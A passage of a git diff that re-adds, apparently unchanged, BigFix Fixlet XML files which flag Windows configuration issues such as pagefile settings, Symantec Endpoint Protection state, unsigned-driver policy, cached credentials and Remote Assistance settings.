+    <Title>Warning - Pagefile has non-default configuration - Windows</Title>
+    <Description><![CDATA[<P>The system pagefile has a non-default configuration.</P>
+<P>This is normally done as a troubleshooting step but is often not undone after troubleshooting.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>(value &quot;PagingFiles&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string) != &quot;?:\pagefile.sys%00%00&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-21</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes
index bf382184a..16023ef6b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Power Policy set to High Performance - Windows
-  ID       : 21429
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-06T19:33:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Power Policy set to High Performance - Windows</Title>
-    <Description><![CDATA[The power policy on the target machine is set to High Performance.
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
-    <Relevance>(value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\Default\PowerSchemes&quot; of native registry as string) = &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Power Policy set to High Performance - Windows
+  ID       : 21429
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-06T19:33:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Power Policy set to High Performance - Windows</Title>
+    <Description><![CDATA[The power policy on the target machine is set to High Performance.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>(value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\Default\PowerSchemes&quot; of native registry as string) = &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes
index a8397b53b..909908179 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Remote Assistance may not be installed
-  ID       : 23559
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:02:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Remote Assistance may not be installed</Title>
-    <Description><![CDATA[<P>The Windows Remote Assistance feature is not installed by default on Windows Server Operating Systems.</P>
-<P>This fixlet uses DISM to enable the Remote Assistance feature.</P>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>name of operating system as string starts with &quot;Win2&quot;</Relevance>
-    <Relevance>not exists selects &quot;* from Win32_ServerFeature where (Name like &apos;Remote Assistance&apos;)&quot; of wmi</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-wait dism.exe /online /enable-feature /featurename=RemoteAssistance</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Remote Assistance may not be installed
+  ID       : 23559
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Remote Assistance may not be installed</Title>
+    <Description><![CDATA[<P>The Windows Remote Assistance feature is not installed by default on Windows Server Operating Systems.</P>
+<P>This fixlet uses DISM to enable the Remote Assistance feature.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>name of operating system as string starts with &quot;Win2&quot;</Relevance>
+    <Relevance>not exists selects &quot;* from Win32_ServerFeature where (Name like &apos;Remote Assistance&apos;)&quot; of wmi</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+wait dism.exe /online /enable-feature /featurename=RemoteAssistance</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes
index aba6f83d3..46ef9c432 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows
-  ID       : 21744
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-27T23:54:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet is relevant if the Symantec Client has not had a successful client communication in 30 days.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
-    <Relevance><![CDATA[(((tuple string item 0 of (concatenations ", " of substrings separated by ":" of it) of (it as string) of (values "CommunicationStatus" of keys "Symantec Endpoint Protection\SMC\SYLINK\SyLink" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries))) as integer) * second) + "01 Jan 1970 00:00:00" as universal time < now - 5 * day]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows
+  ID       : 21744
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-27T23:54:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant if the Symantec Client has not had a successful client communication in 30 days.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
+    <Relevance><![CDATA[(((tuple string item 0 of (concatenations ", " of substrings separated by ":" of it) of (it as string) of (values "CommunicationStatus" of keys "Symantec Endpoint Protection\SMC\SYLINK\SyLink" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries))) as integer) * second) + "01 Jan 1970 00:00:00" as universal time < now - 5 * day]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes
index e2a0532f0..a3ccd3720 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Symantec File System Auto-Protect is Disabled - Windows
-  ID       : 21745
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-27T23:54:30
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Symantec File System Auto-Protect is Disabled - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet is relevant if the Symantec Client has File System Auto-Protect Disabled.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
-    <Relevance>exists values &quot;OnOff&quot; whose (it=0)of key &quot;AV\Storages\InternetMail\RealTimeScan&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Symantec\Symantec Endpoint Protection&quot; of (x32 registries; x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Symantec File System Auto-Protect is Disabled - Windows
+  ID       : 21745
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-27T23:54:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Symantec File System Auto-Protect is Disabled - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant if the Symantec Client has File System Auto-Protect Disabled.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
+    <Relevance>exists values &quot;OnOff&quot; whose (it=0)of key &quot;AV\Storages\InternetMail\RealTimeScan&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Symantec\Symantec Endpoint Protection&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes
index b1b82e71b..a55d6955e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Symantec has recursive whole drive exceptions defined - Windows
-  ID       : 21746
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-27T23:54:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Symantec has recursive whole drive exceptions defined - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet is relevant if the client has a&nbsp;Real Time Scanning or Heuristic&nbsp;recursive drive exception defined.</P>
-<P>An example of this would be a C:\* exclusion. This Fixlet only looks at exclusions targeted towards drives that exist on the system.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
-    <Relevance><![CDATA[/* Check Heuristic Exceptions */ exists elements of intersection of ((set of (value "ThreatName" of it as string & (if (exists value "ExcludeSubDirs" whose (it = 1) of it) then ("*") else (""))) of keys of keys of keys of keys "Symantec Endpoint Protection\AV\Exclusions\HeuristicScanning" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries));(set of ((name of it & "\*") of drives)))  or /* Check Real-Time Scanning Exceptions */ exists elements of intersection of ((set of (value "ThreatName" of it as string & (if (exists value "ExcludeSubDirs" whose (it = 1) of it) then ("*") else (""))) of keys of keys of keys of keys "Symantec Endpoint Protection\AV\Exclusions\ScanningEngines" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries));(set of ((name of it & "\*") of drives)))]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Symantec has recursive whole drive exceptions defined - Windows
+  ID       : 21746
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-27T23:54:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Symantec has recursive whole drive exceptions defined - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant if the client has a&nbsp;Real Time Scanning or Heuristic&nbsp;recursive drive exception defined.</P>
+<P>An example of this would be a C:\* exclusion. This Fixlet only looks at exclusions targeted towards drives that exist on the system.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
+    <Relevance><![CDATA[/* Check Heuristic Exceptions */ exists elements of intersection of ((set of (value "ThreatName" of it as string & (if (exists value "ExcludeSubDirs" whose (it = 1) of it) then ("*") else (""))) of keys of keys of keys of keys "Symantec Endpoint Protection\AV\Exclusions\HeuristicScanning" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries));(set of ((name of it & "\*") of drives)))  or /* Check Real-Time Scanning Exceptions */ exists elements of intersection of ((set of (value "ThreatName" of it as string & (if (exists value "ExcludeSubDirs" whose (it = 1) of it) then ("*") else (""))) of keys of keys of keys of keys "Symantec Endpoint Protection\AV\Exclusions\ScanningEngines" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries));(set of ((name of it & "\*") of drives)))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes
index ea22ff40a..0bb486823 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - System ignores driver's digital signature state - Windows
-  ID       : 20538
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:14:19
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - System ignores driver&apos;s digital signature state - Windows</Title>
-    <Description><![CDATA[<P>If this fixlet is relevant then the system is configured to ignore (not prompt on installation) when an attempt is made to install a driver that does not have a digital signature.</P>
-<P>This is&nbsp;a potentially dangerous non-default configuration.&nbsp;</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
-    <Relevance>(value &quot;Policy&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Non-Driver Signing&quot; of native registry as string) = &quot;00&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - System ignores driver's digital signature state - Windows
+  ID       : 20538
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:14:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - System ignores driver&apos;s digital signature state - Windows</Title>
+    <Description><![CDATA[<P>If this fixlet is relevant then the system is configured to ignore (not prompt on installation) when an attempt is made to install a driver that does not have a digital signature.</P>
+<P>This is&nbsp;a potentially dangerous non-default configuration.&nbsp;</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
+    <Relevance>(value &quot;Policy&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Non-Driver Signing&quot; of native registry as string) = &quot;00&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes
index 7b1997261..3d2b33288 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - System is set to store a large number of cached credentials - Windows
-  ID       : 20631
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-13T10:12:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - System is set to store a large number of cached credentials - Windows</Title>
-    <Description><![CDATA[This fixlet is relevant on computers that are configured to store more than the last 3 logged on&nbsp;user's credentials
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[value "CachedLogonsCount" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" of native registry as integer > 3]]></Relevance>
-    <Category>Credential Caching</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-01</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - System is set to store a large number of cached credentials - Windows
+  ID       : 20631
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-13T10:12:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - System is set to store a large number of cached credentials - Windows</Title>
+    <Description><![CDATA[This fixlet is relevant on computers that are configured to store more than the last 3 logged on&nbsp;user's credentials
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[value "CachedLogonsCount" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" of native registry as integer > 3]]></Relevance>
+    <Category>Credential Caching</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-01</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes
index 867e7f17e..6537225f0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Unsolicited Remote Assistance may not be allowed
-  ID       : 23560
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:02:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Unsolicited Remote Assistance may not be allowed</Title>
-    <Description><![CDATA[<P><ENTER a description of problem and the corrective action here>Unsolicited Windows Remote Assistance requires setting a Group Policy setting:</P>
-<P>GP Path: Computer Configuration/Policies/Administrative Templates/System/Remote Assistance</P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P>Setting Name: Configure Remote Assistance<BR>Required State: Enabled<BR>Required Value: Allow Helpers to remotely control this computer</P></BLOCKQUOTE>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer | 0) = 0</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
-    <SourceSeverity>Critical</SourceSeverity>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unsolicited Remote Assistance may not be allowed
+  ID       : 23560
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
